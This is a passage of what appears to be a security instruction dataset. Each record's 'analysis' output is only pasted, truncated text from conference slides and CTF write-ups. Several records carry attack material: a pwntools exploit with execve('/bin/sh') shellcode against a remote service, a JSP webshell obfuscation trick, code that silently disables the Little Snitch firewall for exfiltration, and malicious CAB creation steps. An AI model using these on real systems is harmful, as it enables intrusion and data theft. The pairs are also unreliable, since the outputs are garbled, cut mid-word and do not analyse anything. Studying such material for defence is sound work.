Research Question How to prioritize nation-state cyber attack mitigation strategies? 1. Next-Generation Internet: IPv6 2. Sun Tzus Art of War 3. Cyber attack deterrence 4. Cyber arms control Research Outline 1 1. Cyber security Technical discipline to strategic concept 2. Technical primer Hacking, security analysis, simulations 3. Real-world impact Internal security, internatl conflict, case studies Research Outline 2 4. Threat mitigation strategies Technical, military, political 5. DEMATEL method Strategic analysis / calculate indirect influence 6. Strategy prioritization Recommendation to policymakers Cyber Attack Mitigation Strategies IPv6 Art of War Deterrence Arms control Technical Military Military / Political Political / Technical An IPv6 address in hexadecimal 2001:0DB8:AC10:FE01:0000:0000:0000:0000 Zeroes can be omitted: 2001:0DB8:AC10:FE01:: 0010000 000000001:0000110110111000:1010110000010000:1111111000000001: 0000000000000000:00000 00000000000:0000000000000000:0000000000000000:0000000000 Internet Protocol version 6 (IPv6) Reduces anonymity China: Everyone US: Everything Limitless IPs, NAT not required Security game-changer Native IPSec: authentication, encryption No silver bullet SW/users still vulnerable 孫 子 兵 法 Sun Tzus Art of War Good not perfect guide to cyber conflict Art of Cyber War 1. Artificial environment 2. Geography changes witho", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 重要端口与服务 转载自[Awesome-Redteam - 重要端口及服务](https://github.com/Threekiii/Awesome-Redteam/blob/master/cheatsheets/%E9%87%8D%E8%A6%81%E7%AB%AF%E5%8F%A3%E5%8F%8A%E6%9C%8D%E5%8A%A1%E9%80%9F%E6%9F%A5.md) ## 目录 [TOC] ## 薄弱端口服务 | port | service | description | | --------------------- | --------------------- | ------------------------------------------------- | | 21 | FTP | FTP控制端口检查匿名登录弱口令 | | 22 | SSH | SSH远程登录协议检查弱口令 | | 23 | Telnet | Telnet终端仿真协议 | | 25 | SMTP | 简单邮件传输协议 | | 53 | DNS | DNS域名解析系统 | | 67/68 | DHCP | 劫持/欺骗 | | 80 | Web | 检查常见Web漏洞及管理后台 | | 81 | IPCam | 检查登陆绕过远程命令执行 | | 110 | POP3 | 邮局协议 | | 111 | NFS | 网络文件系统 | | 139 | Samba服务 | 检查爆破未授权访问远程命令执行 | | 143 | IMAP协议 | 检查爆破 | | 161/162 | SNMP协议 | 爆破/搜集目标内网信息 | | 389 | LDAP | 轻型目录访问协议检查是否存在匿名访问 | | 443 | OpenSSL | 检查心脏滴血及Web漏洞 | | 445 | SMB | 检查是否存在MS17-010MS08-067漏洞 | | 512/513/514 | Linux Rexec服务 | 检查远程shell命令及暴力破解 | | 873 | Rsync | 检查匿名登录弱口令 | | 1080 | Socks5 | 检查爆破 | | 1433 | SQL Server | SQL Server数据库服务 | | 1521 | Oracle | Oracle数据库服务 | | 2049 | NFS | NFS未授权访问 | | 2601/2604 | Zebra路由软件 | 默认口令zebra | | 2181 | Zookeeper | 分布式协调系统 | | 2375 | Docker Remote | API未授权访问 | | 3306 | MySQL | MySQL数据库服务 | | 3128/3312 | Squid | 远程代码执行 | | 3389 | RDP | 远程桌面 | | 4848 | GlassFish | 未授权访问 | | 5000 | Sybase/DB2数据库 | 爆破/注入/提权 | | 5044 | Logstash | | | 5432 | PostgreSQL | PostgreSQL数据库服务 | | 5601 | Kibana | 开源分析及可视化平台 | | 5672 | RabbitMQ | 开源消息队列服务软件 | | 5900 | VNC | 远程桌面控制软件检查弱口令 | | 5984 | CouchDB | CouchDB数据库服务 | | 6082 | Varnish | Varnish HTTP accelerator CLI未授权访问 | | 6379 | Redis | 未授权访问/爆破 | | 7001/7002 | Weblogic | Weblogic Console默认端口 | | 8000 | Jboss | 弱口令/反序列化 | | 8000-9090 | Web | 常见Web端口运维一般将管理后台开在这些非80端口上 | | 8009 | Tomcat-AJP协议 | CVE-2020-1938 | | 8080 | Jenkins | | | 8080 | Kubernetes Api Server | | | 8081 | Apache-Flink | | | 8082 | H2 Database | 弱口令/未授权访问/写文件 | | 8083/8086 | InfluxDB | 未授权访问 | | 8089 | Druid | | | 8090 | Confluence | | | 8095 | Atlassian Crowd | | | 8161 | ActiveMQ | 弱口令/写文件 | | 8649 | Ganglia | ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n深育杯 WriteUp By Nu1L 深育杯 WriteUp By Nu1L 10.10.16.33 10.10.16.182 10.10.16.233 10.10.16.54 10.10.16.109 192.168.54.24 192.168.54.25 192.168.54.26 192.168.199.133 10.10.16.33 ianxtianxt/discuz-ml-rce: 影响系统及版本Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4 (github.com) 直接rce 10.10.16.182 三次撞导致vftable被free后续可以劫持 from pwn import * context.arch = 'amd64' # s = process(\"./main\") s = remote(\"10.10.16.182\",\"10000\") def cmd(idx): s.sendlineafter(\"> \",str(idx)) cmd(1) def add(size,name,num,rode,dir,speed): cmd(1) s.sendlineafter(\"Name length: \",str(size)) s.sendlineafter(\"Name: \",name) s.sendlineafter(\"Car number: \",str(num)) s.sendlineafter(\"Choose a rode(0 to 3): \",str(rode)) s.sendlineafter(\"Choose a direction(1 for forward or 2 for backward): \",str(dir)) s.sendlineafter(\"Set car's speed: \",str(speed)) def run(): cmd(4) add(0x10,'123',0,0,2,30) add(0x10,'123',1,0,1,30) add(0x10,'123',1,0,1,30) add(0x10,'123',0,0,2,30) # add(0x10,'123',2,0,1,30) # add(0x10,'123',3,0,2,30) run() elf = ELF(\"./main\") payload = p64(0x4050E0)*2 payload += p64(0)*2 payload += p64(elf.sym['back_door'])+p64(elf.sym['puts']) add(0x50,payload[:0x4f],1,0,1,30) cmd(3) s.sendlineafter(\"Car index: \",\"0\") cmd(2) heap = u64(s.recvline(keepends=False).ljust(8,'\\x00')) success(hex(heap)) cmd(3) s.sendlineafter(\"Car index: \",\"0\") cmd(1) sc = asm(shellcraft.sh()) s.sendafter(\"Door\",'deadbeefdeadbeef') cmd(2) s.sendlineafter(\"Car index: \",\"0\") cmd(5) cmd(1) add(0x10,'123',0,0,2,30) add(0x10,'123',1,0,1,30) add(0x10,'123',1,0,1,30) add(0x10,'123',0,0,2,30) # add(0x10,'123',2,0,1,30) # add(0x10,'123',3,0,2,30) run() sc = \"\\x48\\x31\\xf6\\x56\\x48\\xbf\" sc += \"\\x2f\\x62\\x69\\x6e\\x2f\" sc += \"\\x2f\\x73\\x68\\x57\\x54\" sc += \"\\x5fH\\xc7\\xc0;\\x00\\x00\\x00\\x99\\x0f\\x05\" payload = p64(0x4050E0)*2 payload += p64(0)*2 payload += p64(heap+0x3f8)+sc add(0x50,payload[:0x4f],1,0,1,30) success(hex(heap)) # gdb.attach(s,'b *0x4022f5\\nc') cmd(3) s.sendlineafter(\"Car index: \",\"0\") 10.10.16.233 80端有备份 cmd(1) s.sendline(\"echo 123123123\") s.recvuntil(\"123123", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCould Googling Take Down A President, a Prime Minister, or an Average Citizen? Gregory Conti United States Military Academy West Point, New York gregory.conti@usma.edu Outline Information Disclosure Computing Platform Network Eavesdropping Destination Websites Vectors Cross-site Tracking Advertising and Embedded Content User Motivation The survey says Solutions Never talk when you can nod, and never nod when you can wink, and never write an e-mail because it's death. You're giving prosecutors all the evidence we need. - Eliot Spitzer Two Years before his resignation http://abcnews.go.com/Blotter/story?id=4424507&page=1 Eliot Spitzer Former-Governor of New York Maf54 (7:43:27 PM): well dont ruin my mental picture Xxxxxxxxx (7:43:32 PM): oh lol...sorry Maf54 (7:43:54 PM): nice Maf54 (7:43:54 PM): youll be way hot then Xxxxxxxxx (7:44:01 PM): haha...hopefully Mark Foley Former-US Congressman http://abcnews.go.com/WNT/BrianRoss/Story?id=2509586&page=2 Can anyone help me please! This stalking thing is not funny at all. When I type my name in keyword it gives a list of places that show where I have been on aol on the net. This is nobodys business. I have not done anything wrong at all and I have contacted aol about this matter and they keep saying they will do something about it but never do. -Debbie How do I get stuff removed from aol stalker? Can anyone tell me? Aol won't respond even though they claim willingness to remove data when requested. Someone, anyone, please help! -Sally http://blogs.ittoolbox.com/security/investigator/archives/aol-stalker-website-unleashed-11133 AOL Demo User #10291 User #2708 The AOL Dataset Debacle SIGIR IR List (August 2006) Subject: research.aol.com AOL is embarking on a new direction for its business making its content and products freely available to all consumers. To support those goals, AOL is also embracing the vision of an open research community. To get started, we invite you to visit us at http://research.aol.com, whe", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking Measured Boot and UEFI Dan Griffin JW Secure, Inc. WWJBD? Dont let h@xors keep you from getting the girl Introduction What is UEFI? What is a TPM? What is secure boot? What is measured boot? What is remote attestation? Hardware Landscape BYOD Capability standards Phones Tablets PCs Why the UEFI lock down? OEM & ISV revenue streams Importance of app store based user experience Defense against rootkits & bad drivers Screw the Linux community State of UEFI Not new Full featured can even include a network stack (yikes!) Software dev kits are available (Intel TianoCore) Test hardware is available (Intel; BeagleBoard) UEFI secure boot Usually can be disabled/modified by user o Behavior varies by implementation o Complicated, even for power users But not on Windows 8 ARM. Options: o Buy a $99 signing certificate from VeriSign o Use a different ARM platform o Use x86 Measured Boot + Remote Attestation What is measured boot? TPM BIOS Boot Loader Kernel Early Drivers Hash of next item(s) Boot Log [PCR data] [AIK pub] [Signature] What is remote attestation? Client Device TPM Signed Boot Log Attestation Server some token Demo Measured Boot Tool (http://mbt.codeplex.com/) Part 1: Whats in the boot log? Demo Measured Boot Tool (http://mbt.codeplex.com/) Part 2: How do you do remote attestation? C: Get AIK creation nonce S: Nonce C: Get challenge (EK pub, AIK pub) S: Challenge C: Get attestation nonce S: Nonce C: Signed boot log S: Token Client Device Attestation Service Demo Sample application #1: reduce fraud, protect the bank from h@xors, get the girl Cloud Services Demand ID Enterprise: BYOD Consumer Targeted advertising eCommerce, mobile banking, etc. But most user IDs are static & cached on device That only works for low-value purchases How to improve ID for high-value purchases? Low Friction Authentication Each additional screen requiring user input Slows down the process while user reorients Causes more users to abandon the web site ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# OldPC (misc, 478 points, 14 solves) In the task we get [machine code dump](oldpc.hex). A bit of googling for byte sequencec got us to http://www.xgc-tek.com/manuals/erc32-ada-gs/x286.html where we could see assembly listing with similar machine code to what we had (at least the stack frame creation and ret/leave). Now we just had to check what is this ERC32 and/or what assembly was in the listing. In th end the main difficulty of this challenge was noticing that the given binary file contained sparc assembly. After getting through that difficulty all we need to do is load the file in a disassembler and select `sparc big endian`: ![scr1.png](scr1.png) ![scr2.png](scr2.png) The code may seem simple and well, it is. All it does is xors a bunch of values and prints them out. A quick script gave us back a flag in no time: ``` python import struct import sys a = [ (0x837F716D, -0x51BDD5C2), (0x6B676561, 0x1E170013), (0x59534F49, 0x606233D), (0x47433D3B, 0x35226276), (0x352F2B29, 0x6481F76), (0x251F1D17, 0x655F4E47), (0x13110D0B, 0x52434E4B), (0x07050302, 0x47583e2f), ] for i in a: a = struct.pack(\">q\", i[0])[4:] b = struct.pack(\">q\", i[1])[4:] for aa, bb in zip(a, b): sys.stdout.write(chr(ord(aa) ord(bb))) print ``` `-=[Super_Ultra_M3g4_@@SPARC@@]=-`", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" '\\\" Copyright (c) 1990-1994 The Regents of the University of California. '\\\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\\\" '\\\" See the file \"license.terms\" for information on usage and redistribution '\\\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\\\" '\\\" RCS: @(#) $Id: selection.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\\\" '\\\" The definitions below are for supplemental macros used in Tcl/Tk '\\\" manual entries. '\\\" '\\\" .AP type name in/out ?indent? '\\\" Start paragraph describing an argument to a library procedure. '\\\" type is type of argument (int, etc.), in/out is either \"in\", \"out\", '\\\" or \"in/out\" to describe whether procedure reads or modifies arg, '\\\" and indent is equivalent to second arg of .IP (shouldn't ever be '\\\" needed; use .AS below instead) '\\\" '\\\" .AS ?type? ?name? '\\\" Give maximum sizes of arguments for setting tab stops. Type and '\\\" name are examples of largest possible arguments that will be passed '\\\" to .AP later. If args are omitted, default tab stops are used. '\\\" '\\\" .BS '\\\" Start box enclosure. From here until next .BE, everything will be '\\\" enclosed in one large box. '\\\" '\\\" .BE '\\\" End of box enclosure. '\\\" '\\\" .CS '\\\" Begin code excerpt. '\\\" '\\\" .CE '\\\" End code excerpt. '\\\" '\\\" .VS ?version? ?br? '\\\" Begin vertical sidebar, for use in marking newly-changed parts '\\\" of man pages. The first argument is ignored and used for recording '\\\" the version when the .VS was added, so that the sidebars can be '\\\" found and removed when they reach a certain age. If another argument '\\\" is present, then a line break is forced before starting the sidebar. '\\\" '\\\" .VE '\\\" End of vertical sidebar. '\\\" '\\\" .DS '\\\" Begin an indented unfilled display. '\\\" '\\\" .DE '\\\" End of indented unfilled display. '\\\" '\\\" .SO '\\\" Start of list of standard options for a Tk widget. The '\\\" options follow on successive lines, in four columns separated '\\\" by tabs. '\\\" '\\\" .SE '\\\" End of list of standard options for a Tk widget. '\\\" '\\\" .OP cmdName dbNam", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: golismero categories: Information Gathering tags: [information gathering,golismero,kali linux] date: 2017-04-23 05:07:00 --- 0x00 golismero介绍 ------------- GoLismero是安全性测试的开源框架它是目前面向网络的安全性但它可以很容易地扩展到其他类型的扫描 该框架的最有趣的特点是 ```plain - 真正的跨平台独立性经过WindowsLinux* BSD和OS X平台测试 - 没有平台本地库依赖纯Python编写的框架 - 与使用Python和其他脚本语言编写的其他框架相比性能较好 - 简单易用 - 插件开发非常简单 - 该框架还收集并统一了众所周知的工具的结果sqlmapxsseropenvasdnsrecontheharvester - 标准集成CWECVE和OWASP - 专为集群部署而设计尚不可用 ``` 工具来源https://github.com/golismero/golismero [golismero主页][1] | [Kali golismero仓库][2] - 作者Daniel Garcia - 证书GPLv2 0x01 golismero功能 ---------------- golismero - Web应用程序映射器 ```plain root@kali:~# golismero -h /----------------------------------------------\\ | GoLismero 2.0.0b3 - The Web Knife | | Contact: golismero.project<@>gmail.com | | | | Daniel Garcia Garcia a.k.a cr0hn (@ggdaniel) | | Mario Vilas (@Mario_Vilas) | \\----------------------------------------------/ 用法: golismero.py 命令 [目标...] [--选项] SCAN: 扫描给定的目标漏洞可选导入来自其他工具的结果并撰写报告 后面的参数可以是域名IP地址或网页 PROFILES: 显示可用的配置文件列表此命令不带参数 PLUGINS: 显示可用的插件列表此命令不带参数 INFO: 显示给定插件的详细信息后面的参数是插件ID 你可以使用glob风格的通配符 REPORT: 从较早的扫描中生成报告 此命令不带参数使用-o参数指定输出文件 IMPORT: 从其他工具导入结果并可选择生成报告但不要扫描目标 此命令不带参数,使用-i参数指定输入文件 DUMP: 从早期扫描中转储为SQL格式数据库 此命令不带参数使用-o参数指定输出文件 UPDATE: 将GoLismero更新到最新版本需要安装Git且添加PATH变量环境 此命令不带参数 示例: 扫描网站并在屏幕上显示结果 golismero.py scan http://www.example.com 导入Nmap结果扫描发现的所有主机并写入HTML报告 golismero.py scan -i nmap_output.xml -o report.html 导入OpenVAS结果并在屏幕上显示但不要扫描任何内容 golismero.py import -i openvas_output.xml 显示所有可用配置文件列表 golismero.py profiles 显示所有可用插件列表 golismero.py plugins 显示所有有关蛮力插件信息 golismero.py info brute_* 转储上一次扫描的数据库 golismero.py dump -db example.db -o dump.sql ``` 0x02 golismero用法示例 ----------------- 对输入文件-i /root/port80.xml中的目标运行漏洞扫描扫描将输出保存到文件-o sub1-port80.html ```shell root@kali:~# golismero scan -i /root/port80.xml -o sub1-port80.html ``` [1]: https://github.com/golismero/golismero [2]: http://git.kali.org/gitweb/?p=packages/golismero.git;a=summary", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n@patrickwardle I got 99 Problems, but Little Snitch aint one! WHOIS leverages the best combination of humans and technology to discover security vulnerabilities in our customers web apps, mobile apps, IoT devices and infrastructure endpoints @patrickwardle security for the 21st century career hobby making little snitch our b!tch OUTLINE understanding bypassing reversing owning UNDERSTANDING LITTLE SNITCH a brief overview the de-facto host firewall for macOS LITTLE SNITCH \"Little Snitch intercepts connection attempts, and lets you decide how to proceed.\" -www.obdev.at little snitch alert in the news (red team vs. palantir) the puzzle pieces LITTLE SNITCH COMPONENTS ring-0 ring-3 (root session) LittleSnitch.kext Little Snitch Daemon Little Snitch Configuration Little Snitch Agent network, process monitoring 'authentication' rules management rules management preferences ui alerts ring-3 (user/UI session) ring-0 bug BYPASSING LITTLE SNITCH undetected data exfil abusing system rules to talk to iCloud LITTLE SNITCH BYPASS 0X1 iCloud little snitch's iCloud rule o rly!?...yes! un-deletable system rule: \"anybody can talk to iCloud\" abusing 'proc-level' trust LITTLE SNITCH BYPASS 0X2 $/python/dylibHijackScanner.py// GPG/Keychain/is/vulnerable/(weak/rpath'd/dylib)/ 'weak/dylib':////'/Libmacgpg.framework/Versions/B/Libmacgpg'// 'LC_RPATH'://////'/Applications/GPG/Keychain.app/Contents/Frameworks' undetected exfil/C&C \"Using Process Infection to Bypass Windows Software Firewalls\" -Phrack, '04 gpg keychain; allow all dylib hijack 'injection' stop the network filter LITTLE SNITCH BYPASS 0X3 ring-0 method 0xB disable: 0x0 ring-3 LittleSnitch.kext //connect & authenticate to kext // ->see later slides for details :) //input // ->set to 0x0 to disable uint64_t input = 0x0; //stop network filter IOConnectCallScalarMethod(connectPort, 0xB, &input, 0x1, NULL, NULL); 'invisible' to UI //input // ->disable is 0x0 if( (0xB == method) && (0x0 == scalarInput) ) { //disable filter! } 's", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSENSEPOST Demystifying+Windows+Kernel+Exploitation+by+Abusing+GDI+ Objects. Saif El-Sherei SENSEPOST #Whoami SENSEPOST Why? SENSEPOST What? SENSEPOST Abusing two types of GDI Objects, to gain ring0 exploit primitives. Analysing two+N-Days+(MS16-098,+MS17- 017??),+by+using+these+techniques. SENSEPOST Introduction https://github.com/sensepost/gdi- palettes-exp SENSEPOST Kernel Pool SENSEPOST Kernel Pool: Allocation Dynamics. SENSEPOST Kernel Pool: Allocation Dynamics. Pool+Page Size+0x100 First+Chunk Third Chunk Second Chunk SENSEPOST Kernel Pool Spraying / Feng-Shui SENSEPOST Kernel Pool: Kernel Pool Spraying / Feng-Shui Get+Pool+memory+in+deterministic+state. Done+using+series+of+allocations+/+de-allocations. Create+memory+holes+between+user+controlled+ object. Hopefully+vulnerable+object+will+be+allocated+to+ one+of+these+memory+holes. SENSEPOST Kernel Pool Corruption SENSEPOST Kernel Pool Corruption Integer Overflows 0\"######80 + 0\"81 = 0\"00000001(? ? ? ? ? Actually 0\"0100000001 = >+32-bit+wide+register(4+Bytes) Integer+ truncated Most+Significant Byte+Ignored(0x01) 0\"1 = X86+Integer+Overflow SENSEPOST Kernel Pool Corruption Integer Overflows Linear Overflows SENSEPOST Kernel Pool Corruption Integer Overflows Out-of-Bounds Write SENSEPOST How? SENSEPOST Abusing GDI Objects For ring0 Exploit Primitives SENSEPOST Abusing GDI Objects for ring0 Exploit Primitives: Memory Layout SENSEPOST Abusing GDI Objects for ring0 Exploit Primitives: Relative Memory read/write SENSEPOST Abusing GDI Objects for ring0 Exploit Primitives: Relative Memory read/write SENSEPOST Abusing GDI Objects Bitmaps Shamelessly+ ripped+from+b33f+ @FuzzySec :D SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) Structure Object+type+_SURFOBJ+ PoolTag Gh?5,+Gla5 SENSEPOST Abusing GDI Objects: Bitmaps (_SURFOBJ) KAlloc Allocate+2000+Bitmaps for+(int y+=+0;+y+<+2000;+y++)+{ HBITMAP+bmp+=+ CreateBitmap( 0x3A3,+ //nWidth 1,+ //nHeight 1,+ //cPlanes 32,+ //cBitsPerPel NULL);+ //+lpvBits }+ SENSEPOST A", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJspWebShell新姿势解读 写在前 刚刚意间发现我yzddmr6发了篇新章提到了个jspwebshell的新姿势但是没有 具体分析那么这我就接着来分析波 先代码长这样 正 如果按照传统Java的javac的式编译这样定是会出错的这不贴图试试jsp不同 于普通的java程序jsp是有的对类编译时的实现机制,其编译类的时候最终是 在 org.apache.jasper.compiler.JDTCompiler#generateClass 成我们的class件 (省略中途的很多步骤直捣黄龙不然讲着也费劲) 这是调栈有兴趣可以深分析 <% Runtime.getRuntime(). //\\u000d\\uabcdexec(\"open -na Calculator\"); %> getNextToken0:1482, Scanner (org.eclipse.jdt.internal.compiler.parser) getNextToken:1462, Scanner (org.eclipse.jdt.internal.compiler.parser) fetchNextToken:12999, Parser (org.eclipse.jdt.internal.compiler.parser) parse:12891, Parser (org.eclipse.jdt.internal.compiler.parser) parse:13277, Parser (org.eclipse.jdt.internal.compiler.parser) parseStatements:225, MethodDeclaration (org.eclipse.jdt.internal.compiler.ast) parseMethods:1152, TypeDeclaration (org.eclipse.jdt.internal.compiler.ast) getMethodBodies:11941, Parser (org.eclipse.jdt.internal.compiler.parser) process:888, Compiler (org.eclipse.jdt.internal.compiler) processCompiledUnits:575, Compiler (org.eclipse.jdt.internal.compiler) compile:475, Compiler (org.eclipse.jdt.internal.compiler) compile:426, Compiler (org.eclipse.jdt.internal.compiler) generateClass:457, JDTCompiler (org.apache.jasper.compiler) compile:397, Compiler (org.apache.jasper.compiler) compile:367, Compiler (org.apache.jasper.compiler) compile:351, Compiler (org.apache.jasper.compiler) compile:605, JspCompilationContext (org.apache.jasper) service:399, JspServletWrapper (org.apache.jasper.servlet) serviceJspFile:379, JspServlet (org.apache.jasper.servlet) service:327, JspServlet (org.apache.jasper.servlet) service:763, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) invoke:197, StandardWrapperValve (", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nF.O.E. http://code.google.com/p/foe-project/ Feed Over Email A Proxy-less RSS Reader For Users in Internet Censored Countries By Sho Ho Broadcasting Board of Governors F.O.E. Who am I? Name: Sho Ho Job Title: Telecommunications Specialist Employer: Broadcasting Board of Governors The Federal Government agency that oversees and supports broadcasters such as Voice of America, Radio Free Asia, and Radio Free Europe, etc. Duties: Developing and managing anti-censorship projects to help internet users in censored countries to circumvent Government censorships Contact: ssho@bbg.gov F.O.E. The Big Challenge Facts: Countries censor the Internet and people cannot access indecent websites. Problem: Indecent may include VOA, AP, CNN, and BBC, etc. Challenge: How to bypass censorships? F.O.E. Offending Countries Big offenders of Internet censorship: Belarus, Burma, China, Cuba, Egypt, Ethiopia, Iran, North Korea, Saudi Arabia, Syria, Tunisia, Turkmenistan, Uzbekistan, Vietnam, Zimbabwe and minor offenders Australia, Bahrain, Belgium, Brazil, Canada, Chile, Czech Republic, Denmark, Fiji, Finland, France, Ghana, India, Ireland, Israel, Italy, Jordan, Maldives, Mexico, Morocco, Myanmar, Netherlands, Norway, Pakistan, Russia, Saudi Arabia, Singapore, South Korea, Sweden, Thailand, Turkey, United Arab Emirates, United Kingdom, Yemen, and USA (WTF?!!) F.O.E. Censorship Technologies IP Filtering Domain Name Blocking Packet (Content/URL/Keyword) Filtering DNS Hijacking Any combination and/or variation of the above. F.O.E. Anti-Censorship Technologies Web-Based Proxy Servers Client-Side Proxy Software Pure Peer-to-Peer (P2P) Email F.O.E. Anti-Censorship Technologies Web-Based Proxy Servers Advantages: Easy to deploy No download required Effective against most common forms of censorship Disadvantages: Limited multimedia capability (e.g. no videos) Limited interactivity (e.g. no AJAX) Difficult to find new proxy servers Example: Psiphon, CGIProxy (By James Marshall", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 BRING YOUR OWN PRINT DRIVER VULNERABILITY Jacob Baines 7 August 2021 2 AGENDA Background Research Print Driver Installation BYOPD Exploitation Detection & Mitigations 3 SLIDES & CODE AVAILABLE https://github.com/jacob-baines/concealed_position 4 SPEAKER INTRODUCTION Jacob Baines Vulnerability Researcher @Junior_Baines jacob-baines 5 BACKGROUND: PREVIOUS PRINTER VULNERABILITIES 6 BACKGROUND RESEARCH RICOH PRINT DRIVER VULNERABILITY CVE-2019-19363 Full disclosure by Pentagrid Metasploit module by Shelby Pace Privilege escalation to SYSTEM via %PROGRAMDATA% DLL overwrite during printer install. Driver must be installed on the system. 7 BACKGROUND RESEARCH PRINTDEMON CVE-2020-1048 Technical write up by Yarden Shafir and Alex Ionescu Metasploit module by Brendan Watters Arbitrary file write as SYSTEM by printing to a printer with attacker controlled file port 8 BACKGROUND RESEARCH PRINTDEMON PATCH BYPASS CVE-2020-1337 Technical writeup by Voidsec Metasploit module by Brendan Watters Bypasses the patch by altering the file port to use a junction after permissions have been checked https://attackerkb.com/topics/mEEwlfrTK3/cve-2020-1337 9 BACKGROUND RESEARCH EVIL PRINTER CVE-2020-1300 Presented at DEF CON 28 by Zhipheng Huo and Chuanda Ding. Technical writeup of CAB parsing by ZDI (no PoC) Local privilege escalation. Path Traversal in CAB file. Delivered by a remote printer or local admin https://twitter.com/steventseeley/status/1323694078022848512 10 EXECUTING EVIL PRINTER 11 EVIL PRINTER ATTACK OVERVIEW 1. Add Printer 2. Send malicious CAB file 3. Unpack CAB 12 EVIL PRINTER PRINTER SIDE: CREATING THE CAB > echo ualapi.dll ../../ualapi.dll > files.txt > makecab /f files.txt > move disk1/1.cab exploit.cab ualapi.dll reference: https://enigma0x3.net/2019/07/24/cve-2019-13382-privilege-escalation-in-snagit/ 13 EVIL PRINTER PRINTER SIDE: DLL SOURCE https://github.com/jacob-baines/concealed_position/blob/main/src/cp_payload/dllmain.cpp 14 EVIL PRINTER PRINTE", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThrough the Competitive World of Bug Bounty Find Blue Oceans Muneaki Nishimura (nishimunea) Muneaki Nishimura (nishimunea) Weekend Bug Hunter Lecturer of Web Security of Security Camp in Japan Weekend Bug Hunter Lecturer of Web Security of Security Camp in Japan Found 30 Bugs in Firefox Received Reward of $70,000+ from Mozilla Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740 Bug 1223743 Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078 Bug 1224529 Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556 Bug 1224906 Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520 Bug 1224910 Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208525 Bug 1227462 Bug 1106713 Bug 1160069 Bug 1192595 Bug 1208956 Bug 1258188 Bug Bounty Programs are Competitive Required a lot of time and techniques to avoid duplicates 1084981 - Poodlebleed https://bugzilla.mozilla.org/show_bug.cgi?id=1084981 Weekdays Weekend 4:00 7:00 Hunt Hunt 4:00 7:00 Hunting Time is Limited (4:00-7:00 AM) Give you some tips from my experience of Firefox bug bounty program Find and Create Uncontested Bounty Targets Fox-keh\" (C) 2006 Mozilla Japan Tip #1 Find Bugs in Web Platforms Browsers and networking features in OS are less competitive targets There are common pitfalls but not widely known Developers make similar mistakes whenever they introduce new features and try the same attack scenario on similar features Learn Known Bugs from Security Advisories Mozilla Foundation Security Advisories https://www.mozilla.org/en-US/security/advisories/ Example Improper Handling of HTTP Redirect evil.server browser victim.server Request to victim Location: evil Redirect to evil Final response from evil HTTP redirects if( request.url.indexOf('http://victim.server/') === 0 ) { resource = http.get(request.url); parse(resource); } Developers expect following code properly gets a response only from victim if( request.url.indexOf('http://victim.server/') === 0 ) { resource = http.get(request.url); parse(resource); } But still possible to load a resource fr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 场景下的风险分析 此篇主要对**不同业务场景**下的风险分析方法进行整理 ## 1. 垃圾注册风险识别[1] ### 1.1 手法分析 黑产注册小号常见的套路是[1] - 使用接码平台提供的**虚拟号码** - 使用模拟器群控设备云手机等模拟**设备环境** - 通过**脚本调用**进行批量注册 ### 1.2 思路 #### 从数据名单出发 - 手机号画像主要依赖于黑名单库的形式 - IP画像识别风控模型中识别为**垃圾注册IP代理IP与机房IP**的相关IP #### 从设备端出发 - 识别**设备指纹**的风险 - 模拟器 - 安装了的作弊工具设备 - 参数异常设备 - 参数篡改设备 - 疑似刷机设备 #### 从行为上出发 - 识别异常行为 - 通过对平台的历史指标计算得到**频繁注册的设备IP或手机号**等 ## 2. 薅羊毛风险识别 ### 2.1 手法分析 //TODO ### 2.2 思路 #### 从统计规则上来讲 - 手机号黑名单 - IP画像 - 设备指纹的风险分析 - 频率纬度的统计 #### 从行为上来讲 - 活动范围小缺少其他平台的活跃动作 - 具有群体的黑产团伙特征 - 具有群体的历史注册登陆的黑产团伙特征 #### 真实世界的信息 - 地址 - 具有虚拟相似收获地址 - 与区域快递合作有暗号 - 地址中包含真实场景下的收货号码 ## Refernces \\[1] 风控要略互联网反欺诈之路马传雷孙奇高岳", "category": "text_analysis", "source": "security_papers"} {"instruction": 